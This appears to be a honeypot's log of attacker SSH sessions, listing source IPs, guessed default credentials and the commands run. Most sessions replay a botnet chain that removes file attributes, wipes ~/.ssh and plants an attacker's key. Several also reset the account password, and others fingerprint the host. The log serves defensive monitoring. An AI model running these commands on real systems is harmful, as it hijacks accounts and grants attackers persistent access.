$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ savage_garuda_root (43.157.200.91) โ€” Jakarta, Indonesia ยท 1 session ยท 2 cmds
2026-08-15 08:49 EDT ยท as oracle/Oracle2025
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ derelict_springbok_root (196.192.181.202) โ€” Midrand, South Africa ยท 1 session ยท 2 cmds
2026-08-15 08:17 EDT ยท as oracle/Oracle2025
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ vapor_husk_root (35.210.61.208) โ€” Brussels, Belgium ยท 1 session ยท 2 cmds
2026-08-15 07:49 EDT ยท as oracle/Oracle123
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ murky_bamboo_root (103.60.242.169) โ€” Mai Dich, Vietnam ยท 1 session ยท 2 cmds
2026-08-15 02:39 EDT ยท as oracle/oracle-123
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ scrappy_baguette_root (87.106.29.151) โ€” Paris, France ยท 1 session ยท 20 cmds
2026-08-15 01:42 EDT ยท as ubuntu/ubuntu
cd ~; chattr -ia .ssh; lockr -ia .ssh โ†’ cd ~ && rm -rf .ssh && mkdir .ssh โ†’ echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7Vv" โ†’ cat /proc/cpuinfo | grep name | wc
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "ubuntu\nOsB3aWgH3x2U\nOsB3aWgH3x2U"|passwd|bash
$ Enter new UNIX password:
$ echo "ubuntu\nOsB3aWgH3x2U\nOsB3aWgH3x2U\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ placid_volcano_root (139.255.254.163) โ€” South Tangerang, Indonesia ยท 1 session ยท 2 cmds
2026-08-15 01:04 EDT ยท as oracle/oracle-123
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ wired_burger_root (209.141.41.212) โ€” Las Vegas, United States ยท 1 session ยท 2 cmds
2026-08-15 00:58 EDT ยท as oracle/oracle-123
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ velvet_panda_root (47.97.110.206) โ€” Hangzhou, China ยท 2 sessions ยท 2 cmds
2026-08-10 15:33 EDT ยท as pi/raspberry, user/user
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a ร—2
โ†ณ OS/kernel identification
๐ŸŽญ jittery_k-pop (47.80.63.229) โ€” Seoul, South Korea ยท 1 session ยท 1 cmd
2026-08-14 17:57 EDT ยท as test/123456
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a
โ†ณ OS/kernel identification
๐ŸŽญ velvet_mekong_sol (45.119.212.99) โ€” Dich Vong, Vietnam ยท 1 session ยท 20 cmds
2026-08-14 16:06 EDT ยท as sol/sol
chattr -ia .ssh โ†’ rm -rf .ssh โ†’ mkdir .ssh โ†’ echo ssh-rsa key โ†’ passwd sol โ†’ cat /proc/cpuinfo | grep name | wc -l โ†’ cat /proc/cpuinfo | grep model | grep name โ†’ free -m โ†’ uname -m โ†’ crontab -l โ†’ w โ†’ ls -lh $(which ls) โ†’ top
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "sol\nrNyBaXQu5kyO\nrNyBaXQu5kyO"|passwd|bash
$ Enter new UNIX password:
$ echo "sol\nrNyBaXQu5kyO\nrNyBaXQu5kyO\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ murky_stein_root (94.249.151.147) โ€” Bad Soden am Taunus, Germany ยท 1 session ยท 2 cmds
2026-08-14 11:35 EDT ยท as oracle/Passw0rd
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ rusty_clog_sol (91.92.47.90) โ€” Amsterdam, The Netherlands ยท 14 sessions ยท 14 cmds
2026-07-12 13:06 EDT ยท as miner/miner, mysql/mysql@123, oracle/1234qwer
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—14
๐ŸŽญ gnarled_peak_root_165 (43.99.13.165) โ€” Hong Kong, Hong Kong ยท 1 session ยท 1 cmd
2026-08-14 05:41 EDT ยท as root/password
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -m
๐ŸŽญ manic_tulip_sol (45.153.34.15) โ€” Eygelshoven, The Netherlands ยท 93 sessions ยท 93 cmds
2026-07-04 19:21 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—93
๐ŸŽญ zealous_gaucho_root (181.191.65.117) โ€” La Plata, Argentina ยท 1 session ยท 2 cmds
2026-08-14 01:38 EDT ยท as oracle/oracle321
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ gnarled_siesta_root (83.48.5.17) โ€” Torrent, Spain ยท 3 sessions ยท 3 cmds
2026-08-13 18:50 EDT ยท as root/password, root/toor, ubuntu/ubuntu
history snooping โ†’ ls โ†’ netstat
$ history | tail -5
โ†ณ history snooping
$ ls -la /
$ netstat -tulpn | head -10
๐ŸŽญ venomous_panda_root_182 (120.71.146.182) โ€” Xingfulu, China ยท 1 session ยท 1 cmd
2026-08-13 21:07 EDT ยท as root/password
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -m
๐ŸŽญ clandestine_tango_root (181.164.12.188) โ€” Cรณrdoba, Argentina ยท 1 session ยท 2 cmds
2026-08-13 20:58 EDT ยท as oracle/oracle2024
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ crimson_autobahn_sol (95.90.13.168) โ€” Feucht, Germany ยท 3 sessions ยท 24 cmds
2026-08-06 07:14 EDT ยท as oracle/Oracle, oracle/password123, sol/123
cd ~; chattr -ia .ssh; lockr -ia .ssh โ†’ cd ~ && rm -rf .ssh && mkdir .ssh โ†’ echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7Vv" โ†’ echo "123\niEGpMJ
$ cd ~; chattr -ia .ssh; lockr -ia .ssh ร—3
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ร—3
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "123\niEGpMJtYxli2\niEGpMJtYxli2"|passwd|bash
$ Enter new UNIX password:
$ echo "123\niEGpMJtYxli2\niEGpMJtYxli2\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ placid_durian_root_21 (101.47.156.21) โ€” Singapore, Singapore ยท 1 session ยท 2 cmds
2026-08-13 19:49 EDT ยท as oracle/oracle2024
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ rabid_liberty_root (136.36.189.65) โ€” Provo, United States ยท 1 session ยท 20 cmds
2026-08-13 19:35 EDT ยท as admin/admin
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "admin\nJ2AAgTI4w8fL\nJ2AAgTI4w8fL"|passwd|bash
$ Enter new UNIX password:
$ echo "admin\nJ2AAgTI4w8fL\nJ2AAgTI4w8fL\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ ashen_dragon_root_97 (114.219.157.97) โ€” Suzhou, China ยท 1 session ยท 2 cmds
2026-08-13 19:20 EDT ยท as oracle/oracle2024
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ rogue_jade_root (49.64.85.138) โ€” Nanjing, China ยท 1 session ยท 20 cmds
2026-08-13 18:25 EDT ยท as admin/admin
cd ~; chattr -ia .ssh โ†’ rm -rf .ssh โ†’ mkdir .ssh โ†’ echo ssh-rsa key โ†’ cat /proc/cpuinfo | grep name | wc -l โ†’ echo admin/cxJVD6HLmWuH|passwd|bash โ†’ cat /proc/cpuinfo | grep model | wc -l โ†’ free -m | grep Mem โ†’ ls -lh $(
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "admin\ncxJVD6HLmWuH\ncxJVD6HLmWuH"|passwd|bash
$ Enter new UNIX password:
$ echo "admin\ncxJVD6HLmWuH\ncxJVD6HLmWuH\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ ashen_rendang_root (163.7.9.194) โ€” Yogyakarta, Indonesia ยท 1 session ยท 1 cmd
2026-08-13 15:01 EDT ยท as root/password
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -m
๐ŸŽญ lurking_orchid_root (47.236.188.152) โ€” Singapore, Singapore ยท 5 sessions ยท 5 cmds
2026-08-13 07:46 EDT ยท as admin/password, oracle/123456, root/admin
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—5
๐ŸŽญ glitchy_dutch_sol (45.153.34.112) โ€” Amsterdam, The Netherlands ยท 133 sessions ยท 133 cmds
2026-06-24 22:08 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 35x across 35 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—133
๐ŸŽญ zealous_cowboy_root (92.118.39.50) โ€” Dallas, United States ยท 96 sessions ยท 864 cmds
2026-07-07 22:36 EDT ยท as admin/123456, admin/admin, admin/admin123
PATH manipulation โ†’ OS fingerprinting via uname variants โ†’ kernel version extraction from /proc/version โ†’ OS release detection via /etc/os-release
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c 